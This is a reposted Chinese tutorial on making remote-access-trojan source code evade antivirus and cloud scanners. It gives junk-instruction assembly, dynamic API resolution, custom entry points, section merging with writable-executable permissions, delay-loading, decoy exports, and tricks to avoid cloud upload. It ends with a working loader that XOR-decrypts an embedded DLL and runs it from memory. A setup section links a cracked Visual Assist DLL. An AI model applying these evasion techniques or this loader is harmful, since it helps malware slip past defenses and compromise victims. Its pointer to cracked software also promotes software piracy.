源码免杀1.0


文件预处//Server.cpp头部要加的代码:

//自定义链接库
  //优化代码
  //合并区段代码
  //延时加载代码
//修改优化模式(链接)

//免杀前的预处理:
//1.删除资源代码(Server.rc)
//2.更改明显字符串
//3.加入大量花指令
//Server.cpp   winman函数"{}"里面第一句加反调试代码

 

 

 

 

代码被杀出

花指令

/*       //花指令

1.

__asm
{
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je END

END:
pop eax
}

2.

mov edx,edx
mov ecx,ecx
push eax
pop eax

3.

nop
nop
nop
push eax
jmp MY
MY:
pop eax  

*/



__asm nop; //nop指令 __asm nop; __asm nop; __asm nop; __asm{ nop; push eax; pop eax; inc eax; inc eax; add eax,1; sub eax,1 } // 花指令

Sleep(0); //延时0秒

try catch       //代码tcy变异

加资源过云

 

2 字符串隐藏  字符串连接

3 输入表的免杀方法: 动态调用

//API函数动态调用的模型

/*定义

typedef 第一行 (第二行 *需要替换的函数T)

 (
    替换完后
    剩下的
    代码位置
  );
需要替换的函数T p需要替换的函数= (需要替换的函数T)GetProcAddress(LoadLibrary("函数的所在DLL"),"需要替换的函数");

*/

 4  自定义函数入口(处理云)

1. 
//云定位在入口位置(本地处理后)
#pragma
comment(linker,"/ENTRY:EntryPoint(函数)") //自定义函数入口
BOOL EntryPoint(函数)() //原代码: int winman函数
//代码结束处加 return 0;

2.
//变异改变入口点
 // 入口点设置的自定义函数名
 // stdafx.h 里面导入lib库文件
 // int 入口点设置的自定义函数名 ()




//云主要杀动态加载函数  花指令和资源

      QVM 或者云 

//QVM   或者云  

   //资源
   //编译时的设置
   //合并区段代码的改变


//加大文件,或者加内存加载,白加黑,运行增大,防上传代码,添加MFC

//NOP 入口点再定位

//关于云鉴定
    1.校验和不要重复(不过的情况)
    2.>64M的文件不上报(自解压+vbs批处理)

 

 

5 源码定位

通常杀在功能的cpp文件                   //源码定位Buffer.cpp  Clientsoket.pp   Audlo.cpp

#pragna code_seg("claidx")     //把这个cpp的代码放到claidx这个区段面(代码放在cpp头部,主要过BD)

 

 

 

 

 

 

 

vc删除临时文件.bat



@echo off
echo ----------------------------------------------------
echo Press any key to delete all files with ending:
echo  *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
echo Visual c++/.Net junk 
echo ----------------------------------------------------

del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.dep

 

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")

#pragma comment(linker,"/ALING:512")
#pragma comment(linker,"/FILEALIGN:512")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/opt:ref")
#pragma comment(linker,"/OPT:ICF")

 

//合并区段代码  .ccp文件
//#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
//把.rdata、.data合并到.text区段里去,/section:.text,ERW"这个是设置区段的读写权限
#pragma code_seg("区段名") //添加区段 // 合并区段 #pragma comment(linker, "/MERGE:.rdata=.data")//把rdata区段合并到data区段里 #pragma comment(linker, "/MERGE:.text=.data")//把text区段合并到data区段里 #pragma comment(linker, "/MERGE:.reloc=.data")//把reloc区段合并到data区段里


//优化代码
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker, "/opt:nowin98")

#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")



 

 

小红伞

 1. 延迟加载(定位到xxx.dll就延迟加载xxx.dll)

#pragma comment(lib,"DELAYIMP.lib")
#pragma comment(linker,"/DELAYLOAD:ws2_32.dll") //延迟的dll
#pragma comment(linker,"/DELAYLOAD:ADVAPI32.DLL")
#pragma comment(linker,"/DELAY:nobind")
#pragma comment(linker,"/DELAY:unload")

 

 

//延时加载函数
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:WININET.dll")
#pragma comment(linker, "/DELAYLOAD:WS2_32.dll")
#pragma comment(linker, "/DELAYLOAD:PSAPI.DLL")
#pragma comment(linker, "/DELAYLOAD:GDI32.dll")
#pragma comment(linker, "/DELAYLOAD:ADVAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:SHELL32.dll")
#pragma comment(linker, "/DELAYLOAD:WINMM.dll")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAYLOAD:WTSAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:AVICAP32.dll")
#pragma comment(linker, "/DELAYLOAD:SHLWAPI.dll")
#pragma comment(linker, "/DELAYLOAD:IMM32.dll")
#pragma comment(linker, "/DELAYLOAD:urlmon.dll")
#pragma comment(linker, "/DELAYLOAD:OLEAUT32.dll")
#pragma comment(linker, "/DELAYLOAD:ole32.dll")
#pragma comment(linker, "/DELAYLOAD:NETAPI32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")


//然后添加一些迷惑杀毒软件的输出表函数
extern "C" __declspec(dllexport) bool heiyuxhj();
extern "C" __declspec(dllexport) bool space()
{
return false;
}


2. 定位到xxx.dll中的函数
直接动态调用
3. 定位到“xxx.dll” 这个名上
                 可以延迟加载

             也可用lordpe查看该DLL中的函数
 4.隐藏msvcrt
v3 最小 MT 去掉ms的lib

5.打乱源码顺序

 任意远控16进制转换快速免杀、

新建一个工程
****************************************************************************
#include "junction.h"
extern "C" __declspec(dllexport)void FangSi()
{
}

/dll /incremental:no /pdb:


#include "MemLoadDll.h"
#include "c_ball.h"
HINSTANCE hInstance = NULL;
void EncryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//解密
{
    _asm nop;
    unsigned long i;
    unsigned char p;
    _asm nop;
    p = (unsigned char ) key % 254 +8;
    
    for(i = 0; i < nLen; i+=2) 
    {
        
        *szRec ^= p;
        *szRec += p;
        szRec++;
        
    }
    
    
}
typedef int (WINAPI *PFN_POPMSGBOX)(void);
DWORD MainFunc(char*Name)
{
    HRSRC hResInfo;
    HGLOBAL hResData;
    DWORD dwSize;
    PVOID DllResourceModule=NULL;
    HMEMORYMODULE hDll;
    PFN_POPMSGBOX pfn;
    
    EncryptData((unsigned char *)BallMyFileBuf,BallMyFileSize,3800);                
    hDll=MemoryLoadLibrary(BallMyFileBuf);
    if (hDll==NULL)
        return -1 ;
    pfn=MemoryGetProcAddress(hDll,Name);
    if (pfn==NULL)
    {
        MemoryFreeLibrary(hDll);
        return -1;
    }
    pfn();
    if (hDll!=NULL)
    {
        MemoryFreeLibrary(hDll);
        hDll=NULL;
    }
    
    return 0;
}

char Ribi[]={'F','a','n','g','S','i','\0'};
MainFunc(Ribi);
        return 0;
*************************************
以上是工程代码

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

环境搭建


SDK更新包

复制Include/Lib这两个文件夹,粘贴到VC98目录下

下载地址:http://pan.baidu.com/s/1midjZYg 密码:7x57

xtp

复制Lib/VC60/TOOL头文件下的全部文件,粘贴到VC98/LIB目录下

复制Source下的全部文件,粘贴到VC98/ATL/Include目录下

下载地址:http://pan.baidu.com/s/1qXT83b2 密码:yukk

VC助手

运行VA_X_Setup1715.exe进行安装(该文件是从官方网站直接下载的,可以放心安装)

安装完成后将破解文件VA_X.dll复制至安装文件夹,覆盖同名文件即可

下载地址:http://pan.baidu.com/s/1eSHrNf8 密码:vd6q

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM